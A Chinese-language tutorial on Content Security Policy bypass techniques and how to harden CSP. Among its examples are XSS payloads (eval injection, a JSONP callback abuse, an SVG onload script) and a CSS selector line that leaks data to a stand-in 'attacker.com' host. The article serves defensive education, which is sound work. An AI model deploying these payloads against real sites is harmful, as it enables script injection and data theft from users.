CSP(内容安全策略)绕过技术分析与防护
1. 知识点描述
CSP(Content Security Policy) 是一种通过HTTP响应头定义的安全机制,用于限制页面可以加载或执行的资源(如脚本、样式、图片等),从而减少XSS、数据注入等攻击风险。然而,攻击者可能通过多种技术绕过CSP的限制,例如利用脚本动态生成、JSONP回调、第三方域名漏洞或浏览器特性等。本主题将分析常见CSP绕过技术,并给出防护方案。
2. CSP基础规则与配置示例
CSP通过指令(如default-src、script-src)定义资源白名单。例如:
Content-Security-Policy: script-src 'self'; object-src 'none';
script-src 'self':仅允许同源脚本。object-src 'none':禁止所有插件(如Flash)。
常见指令:
default-src:默认资源类型限制。script-src:控制脚本加载与执行(如'unsafe-inline'允许内联脚本)。style-src:控制样式表。connect-src:限制XMLHttpRequest、WebSocket等连接目标。
3. 常见CSP绕过技术分析
3.1 利用脚本动态生成(如eval或new Function)
场景:若CSP包含script-src 'unsafe-eval',则允许通过eval()或Function()执行字符串代码。
绕过示例:
<script>
// 攻击者注入的代码
const maliciousCode = "alert('XSS')";
eval(maliciousCode); // 成功执行
</script>
根源:'unsafe-eval'过度放宽了动态代码执行权限。
3.2 JSONP回调函数滥用
场景:若CSP允许特定第三方域名(如script-src https://api.example.com),且该域名提供JSONP接口。
绕过步骤:
- 攻击者发现目标站点信任
https://api.example.com/jsonp?callback=foo。 - 注入恶意代码调用该接口,利用回调函数执行脚本:
<script src="https://api.example.com/jsonp?callback=alert('XSS')"></script>
防护缺陷:未对回调函数参数进行严格过滤。
3.3 利用重定向或宽松的路径限制
场景:若CSP配置script-src https://cdn.example.com,但该域名允许用户上传内容或存在开放重定向。
绕过方法:
- 上传恶意JS文件至
https://cdn.example.com/user/attack.js。 - 通过注入
<script src="https://cdn.example.com/user/attack.js">绕过同源限制。
3.4 浏览器特性绕过(如CSS注入或<link rel="prefetch">)
场景:若CSP未限制style-src或prefetch-src,攻击者可能通过CSS表达式或预加载机制泄露数据。
示例(旧版IE):
/* 通过CSS读取属性并发送到攻击者服务器 */
div[secret^="a"] { background: url("https://attacker.com/?leak=a"); }
3.5 非脚本资源绕过(如SVG或PDF)
场景:若CSP未限制object-src或media-src,恶意SVG/PDF可能包含脚本。
<object data="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'></svg>"></object>
4. 进阶绕过技术(基于CSP策略解析漏洞)
4.1 路径遍历绕过
场景:若CSP配置script-src https://cdn.example.com/static/,但CDN支持路径遍历(如https://cdn.example.com/static/../upload/evil.js)。
防护要点:CDN应严格隔离用户上传目录与可信资源目录。
4.2 利用script-src的'strict-dynamic'指令
场景:'strict-dynamic'允许由可信脚本动态加载的脚本执行,但若可信脚本存在XSS漏洞,攻击者可能篡改动态加载逻辑。
示例:
// 原本合法的动态加载
const script = document.createElement('script');
script.src = '/trusted.js';
document.body.appendChild(script);
// 攻击者注入代码重写src指向恶意URL
4.3 混合内容(HTTP/HTTPS)绕过
场景:若CSP未强制HTTPS,攻击者可能通过HTTP劫持注入恶意内容。
5. CSP防护强化策略
5.1 最小化白名单原则
- 避免使用
'unsafe-inline'和'unsafe-eval',改用随机数(nonce)或哈希(hash)允许特定内联脚本。
示例:
Content-Security-Policy: script-src 'nonce-abc123';
<script nonce="abc123">
// 仅nonce匹配的脚本会执行
</script>
5.2 严格限制第三方域名
- 对JSONP接口实施回调函数白名单校验。
- 使用
strict-dynamic时,确保基础脚本无XSS漏洞。
5.3 多层防御补充
- 启用
base-uri 'self'防止<base>标签篡改资源路径。 - 添加
report-uri /csp-report收集违规报告,实时监控绕过尝试。
5.4 定期审计与更新
- 检查CSP配置是否被已知绕过技术影响(如CVE-2020-6519)。
- 使用浏览器CSP评估工具(如CSP Evaluator)扫描策略漏洞。
6. 总结
CSP绕过本质是策略配置缺陷与业务逻辑漏洞的结合。防护需遵循默认拒绝原则,通过nonce/hash替代宽松指令,并结合其他安全机制(如XSS过滤器、输入验证)形成纵深防御。